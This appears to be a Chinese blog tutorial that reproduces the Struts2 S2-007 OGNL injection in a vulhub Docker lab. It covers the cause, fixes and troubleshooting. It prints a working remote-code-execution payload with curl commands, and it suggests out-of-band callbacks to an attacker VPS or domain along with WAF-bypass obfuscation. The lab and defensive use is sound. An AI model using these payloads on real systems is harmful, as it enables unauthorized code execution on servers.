
1. 项目概述一次对经典Struts2漏洞的深度复现之旅在Web安全研究领域Apache Struts2框架的漏洞史堪称一部波澜壮阔的“编年史”其中S2-007CVE-2012-0838是一个极具代表性的早期高危漏洞。它不像后来的S2-045那样广为人知但其利用思路之巧妙对理解Struts2框架的安全模型和OGNL表达式注入攻击的演变至关重要。今天我们就来亲手搭建环境一步步拆解这个十多年前的漏洞看看攻击者是如何通过一个看似无害的参数校验错误最终实现远程代码执行的。无论你是刚入门的安全爱好者还是想巩固Web安全知识体系的从业者这次复现都能让你对参数校验、类型转换与表达式注入之间的“危险三角关系”有更深刻的认识。2. 漏洞原理深度解析从参数校验到OGNL表达式执行要理解S2-007我们必须先回到Struts2框架处理用户请求的核心流程。Struts2通过拦截器栈处理请求其中涉及参数绑定、类型转换、数据校验等多个环节。S2-007的根源就藏在“数据校验”与“错误信息处理”的交叉点上。2.1 核心触发点校验框架与OGNL的意外交汇Struts2集成了强大的校验框架Validation Framework开发者可以通过XML或注解的方式定义校验规则。当用户提交的表单数据校验失败时框架会生成错误信息并通常将用户提交的原始数据回填到表单中以提升用户体验。问题在于这个“回填”过程。具体来说当对一个字段例如一个age字段期望是整数的校验失败时框架会执行类似这样的逻辑它试图将用户输入的字符串如“abc”转换为目标类型Integer。转换失败会触发校验错误。此时为了在错误页面上显示用户刚才输入的错误值即“abc”框架需要将这个值重新设置到对应的Action属性中。这个“设置”操作在Struts2中是通过OGNL表达式来完成的。关键在于Struts2在构建这个用于回填值的OGNL表达式时直接使用了未经充分处理或转义的用户输入。攻击者提交的恶意payload最终被拼接进了OGNL表达式字符串里。当框架在后续渲染错误信息、解析这个拼接后的OGNL表达式时恶意代码就被执行了。2.2 漏洞利用链的构建标准的利用链可以概括为以下几步寻找校验点找到一个配置了校验规则如必填、整数范围、正则表达式等的输入字段。触发校验错误故意向该字段提交一个不符合校验规则的值例如向整数字段提交“11”。这会导致类型转换失败或校验失败。注入OGNL表达式提交的值中嵌入OGNL表达式。由于框架在构建错误信息回填表达式时将这个值作为表达式的一部分导致表达式被污染。例如提交“(11)”框架可能构建出类似“age (11)”的赋值表达式。表达式解析与执行Struts2在渲染错误页面时会解析并执行这个被污染的OGNL表达式从而执行其中嵌入的恶意代码。这个漏洞的精妙之处在于它绕过了对参数值的直接处理而是利用了框架在“异常处理流程”中一个不经意的细节。它不依赖于任何特定的功能开启只要使用了Struts2的校验功能并存在校验错误页面就可能存在风险。注意不同Struts2版本和配置下触发方式和payload构造可能有细微差别。S2-007通常需要与另一个漏洞如S2-003/S2-005的绕过技巧结合才能实现任意代码执行因为它最初可能受到OGNL表达式解析的某些限制如对#、\u0023等字符的过滤。后续的利用payload正是针对这些限制进行了绕过。3. 复现环境搭建与配置纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手搭建一个可攻击的环境是必不可少的。下面我们使用Docker来快速构建一个包含漏洞的Struts2应用。3.1 环境准备与漏洞应用部署我们选择使用一个专为安全研究设计的漏洞环境集成项目例如vulhub。它提供了大量预配置的漏洞环境非常适合复现学习。首先确保你的系统已经安装了Docker和Docker Compose。然后我们拉取并启动针对S2-007的环境。# 1. 拉取 vulhub 项目如果尚未拥有 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 Struts2 S2-007 漏洞目录 cd struts2/s2-007 # 3. 启动漏洞环境 docker-compose up -d执行上述命令后Docker会拉取镜像并启动一个Tomcat容器其中部署了存在S2-007漏洞的Struts2 Web应用。通常应用会运行在http://your-ip:8080。你可以通过访问该URL来确认环境是否启动成功。页面上应该有一个简单的表单例如一个用户登录或注册页面其中包含了带有校验规则的输入框。3.2 关键组件与配置理解在复现前了解这个漏洞环境里有什么很重要Web服务器Apache Tomcat负责运行Java Web应用。漏洞应用一个特意编写的、使用了旧版本Struts2如2.2.3并开启了校验功能的Web应用。校验配置文件通常位于/WEB-INF/classes/下文件名类似ActionClass-validation.xml其中定义了字段的校验规则。例如可能要求age字段必须是介于1到150之间的整数。理解这个结构有助于你在后续的漏洞利用中知道该攻击哪个端点以及为什么那样构造payload会生效。4. 漏洞利用实操与Payload深度剖析环境就绪现在进入最关键的环节发动攻击。我们将使用经典的curl命令和浏览器插件如HackBar进行演示并详细拆解每一步的意图和原理。4.1 探测与验证漏洞存在首先我们需要找到一个触发点。查看漏洞应用的前端页面寻找那些可能有校验的字段比如“年龄”、“邮编”、“邮箱”等。假设我们发现了一个age字段。步骤一触发普通校验错误我们首先提交一个非数字的值如abc观察响应。正常情况下页面会返回一个错误信息如“年龄必须为数字”并且age输入框里会回显我们刚才输入的abc。这个回显行为就是漏洞可能存在的信号。步骤二尝试注入简单OGNL表达式现在我们尝试提交一个能构成简单OGNL表达式的值。最初的尝试可能是(11)。如果漏洞存在且未做严格过滤提交后年龄框回显的值可能不是(11)而是计算后的结果2。这就初步证实了OGNL表达式被执行。# 使用curl发送POST请求进行测试 curl -X POST http://your-ip:8080/your-action.action \ -d age(11)other_paramnormal_value \ -H Content-Type: application/x-www-form-urlencoded观察返回的HTML页面搜索age输入框的value属性看其值是(11)还是2。4.2 构造远程代码执行RCEPayload仅仅执行11没有实质危害。我们的目标是执行系统命令比如id或whoami。在OGNL中可以通过符号调用静态方法。Java中执行命令通常使用Runtime.getRuntime().exec()。但是直接提交(java.lang.RuntimegetRuntime().exec(id))是行不通的。因为Struts2在历史版本中逐步加强了对OGNL表达式的沙箱限制并过滤了诸如#、\等特殊字符。S2-007的利用通常需要借助S2-003/S2-005的绕过技巧。一个经典的S2-007 RCE Payload构造如下 (#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.Boolean(false),#context[xwork.MethodAccessor.denyMethodExecution]#foo,java.lang.RuntimegetRuntime().exec(calc)) 让我们拆解这个“魔法字符串”开头的单引号‘和结尾的‘这是为了适配漏洞触发点上下文。回想一下漏洞发生在框架拼接字符串构建赋值表达式时比如age[我们的输入]。我们通过提交以‘开头和结尾的payload来确保我们注入的OGNL代码被完整地包裹在一个字符串表达式中并与其他部分用连接从而被正确解析为一个可执行的表达式块。#_memberAccess[allowStaticMethodAccess]true这是关键的一步。在受限制的OGNL沙箱中默认禁止调用静态方法。这行代码修改了_memberAccess对象的allowStaticMethodAccess属性临时开启了静态方法访问权限。#号在OGNL中用于引用上下文变量。#context[xwork.MethodAccessor.denyMethodExecution]#foo同样是为了绕过安全限制。xwork.MethodAccessor.denyMethodExecution是Struts2中一个控制方法执行是否被拒绝的标志。我们创建一个布尔变量#foo并设置为false然后将这个标志设置为false从而允许方法执行。java.lang.RuntimegetRuntime().exec(calc)在解除了上述限制后这行代码就可以成功执行了。它调用Java的Runtime.getRuntime()静态方法获取运行时对象然后执行exec方法启动计算器程序calc。在实际攻击中calc会被替换成其他系统命令如touch /tmp/successLinux或whoami。4.3 发起攻击实战我们将上述payload注入到age参数中。由于payload包含特殊字符需要进行URL编码。# 对Payload进行URL编码后通过curl发送 # 原始Payload: (#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.Boolean(false),#context[xwork.MethodAccessor.denyMethodExecution]#foo,java.lang.RuntimegetRuntime().exec(calc)) # 编码后注意实际编码需完整此处为示意请使用工具生成完整编码字符串 curl -X POST http://your-ip:8080/your-action.action \ -H Content-Type: application/x-www-form-urlencoded \ --data-urlencode age (#_memberAccess[\allowStaticMethodAccess\]true,#foonew java.lang.Boolean(\false\),#context[\xwork.MethodAccessor.denyMethodExecution\]#foo,java.lang.RuntimegetRuntime().exec(calc)) 如果漏洞存在且环境是Windows或Linux下安装了图形界面且能弹出窗口你可能会在服务器上看到计算器程序被启动。更常见的验证方式是在Linux环境下执行一个创建文件的命令...exec(touch /tmp/success)) 攻击完成后可以进入Docker容器验证docker exec -it container_id /bin/bash ls -la /tmp/success如果文件被成功创建则证明远程代码执行成功。实操心得在实际测试中直接复制粘贴复杂的payload很容易因引号、括号不匹配或编码问题失败。建议使用Burp Suite这类工具。先在浏览器正常提交一次表单用Burp截获请求然后在Burp Repeater模块中修改对应的参数值为你的payload让Burp自动处理编码成功率会高很多。另外注意目标服务器的操作系统Windows和Linux的命令语法不同。5. 漏洞修复方案与安全启示复现漏洞是为了更好地防御。Apache官方早已修复了此漏洞了解修复方案能帮助我们写出更安全的代码以及在企业环境中快速定位风险。5.1 官方修复方案Struts2官方在后续版本中通过多种方式修复了此类问题升级OGNL版本并加强沙箱严格限制了OGNL表达式的默认执行环境禁用了许多危险的特性和默认的静态方法访问。对输入值进行严格转义在将校验错误的值回填到OGNL表达式时对用户输入中的特殊字符如#、\、、等进行严格的转义处理防止其改变表达式语义。改进错误处理机制避免在错误处理流程中使用可能包含用户输入的字符串动态构建OGNL表达式。最直接有效的修复方案就是升级Struts2框架到安全版本。对于S2-007应升级至Struts 2.3.1.2或更高版本。5.2 对开发者的安全启示即使框架升级了错误的编码习惯仍可能引入类似风险。从S2-007中我们可以汲取以下几点教训谨慎使用用户输入构建动态表达式无论是SQL语句、OS命令、日志字符串还是像OGNL这样的表达式语言绝对不要将未经净化或转义的用户输入直接拼接进去。理解框架的安全机制作为开发者需要了解你所使用的框架如Struts2、Spring MVC处理数据绑定的流程、表达式解析的机制以及默认的安全配置。不要把它当作一个完全的黑盒。最小化功能使用如果不需要复杂的表达式功能考虑在框架配置中禁用或严格限制OGNL的使用。例如在Struts2中可以通过配置struts.ognl.allowStaticMethodAccess等属性来加强限制。输入验证与输出转义并重在服务端对输入进行严格的类型、格式、范围校验白名单原则。在将任何数据渲染到输出HTML、XML、OGNL表达式时必须根据上下文进行正确的转义。5.3 企业安全防护建议对于安全运维人员资产梳理与版本监控建立完善的软件资产清单对所有使用的第三方组件尤其是Struts2、Fastjson、Log4j这类历史漏洞多的进行版本管理和漏洞监控。可以使用软件成分分析SCA工具自动化完成。虚拟补丁在无法立即升级生产环境的情况下考虑在WAFWeb应用防火墙或网关层面部署针对特定漏洞特征如包含特定OGNL语法结构的请求参数的虚拟补丁进行临时拦截。纵深防御确保服务器操作系统、Java运行环境JRE/JDK本身遵循最小权限原则避免Web应用以root或高权限账户运行。这样即使发生RCE攻击者获取的权限也有限。6. 常见问题与排查技巧实录在复现过程中你可能会遇到各种问题。下面是我在多次复现和教学中总结的一些常见坑点及解决方法。6.1 环境启动失败或应用无法访问问题执行docker-compose up -d后端口无法访问或日志报错。排查docker ps检查容器是否正常运行。docker logs container_id查看容器日志常见问题包括端口冲突8080被占用、镜像拉取失败、内部启动错误。如果端口冲突修改docker-compose.yml文件中的端口映射例如将8080:8080改为8081:8080然后通过http://your-ip:8081访问。解决根据日志错误信息解决。如果是端口占用修改映射或关闭占用端口的程序。如果是镜像问题尝试docker-compose down然后docker-compose pull再up。6.2 Payload提交后无效果页面报错或回显原值问题按照步骤提交RCE Payload后没有执行命令服务器也没有任何反应页面只是显示校验错误或回显了原始的payload字符串。可能原因及排查目标字段不对不是所有字段的校验错误都会触发这个漏洞。尝试寻找其他有校验规则的字段或者查看应用源码/配置文件确认校验规则。Payload构造错误这是最常见的原因。仔细检查单双引号是否匹配、括号是否闭合、#和\等特殊字符是否正确。强烈建议使用Burp Suite的Repeater并在“Payloads”标签页下进行各种编码尝试如URL编码、HTML编码。有时需要多次编码。Struts2版本差异不同的Struts2小版本对OGNL的限制和过滤规则可能有细微差别。S2-007的payload可能需要在S2-003的基础上做调整。可以尝试搜索针对特定版本如你环境中的Struts 2.2.3的公开PoC。命令执行无回显你执行的命令如touch /tmp/success是静默的。需要通过进入容器验证文件是否创建或者尝试执行有回显的命令如Linux下curl your-vps-ip在自己的VPS上监听端口看是否有请求过来。安全软件拦截如果是在公司内网或带有安全防护的机器上测试可能命令执行被主机安全软件拦截。6.3 如何判断漏洞是否真的存在分层验证法基础OGNL执行验证提交age(11)看回显是否为2。如果是证明存在OGNL表达式注入。沙箱绕过验证提交包含#_memberAccess赋值的payload但先不执行命令而是尝试计算一个更复杂的表达式比如age (#_memberAccess[allowStaticMethodAccess]true, #a2*3*7) 看回显是否为42。这可以验证绕过沙箱是否成功。无害命令验证最后再尝试执行如touch、ping到可控地址或sleep这类无害但可观测的命令确认RCE能力。6.4 在真实渗透测试中的思考复现漏洞环境是理想化的真实世界要复杂得多。路径探测真实应用的动作Action路径和参数名都是未知的。你需要通过爬虫、目录扫描、分析JS文件、查看其他请求等方式来发现可能的端点。WAF绕过企业环境通常部署有WAF会检测常见的OGNL关键字如#_memberAccess,Runtime,exec。这时需要尝试各种混淆、编码、分割技巧。例如使用OGNL的字符连接‘calc’可以写成(‘c’’a’’l’’c’)使用反射Class.forName(‘java.lang.Runtime’)来替代直接调用等。无回显利用很多情况下命令执行没有直接输出。你需要采用盲注的方式比如通过DNS外带数据nslookup your-domain.com、HTTP请求外带curl/wget你的服务器或者使用延时判断ping -c 5 127.0.0.1来验证漏洞存在和命令执行。每一次对历史漏洞的复现都是一次与过去安全研究者思维的对话。S2-007展现的是一种“非常规”的攻击面——错误处理流程。它提醒我们在设计和开发时必须对所有处理用户数据的路径尤其是异常和边缘情况的处理路径进行同等的安全审视。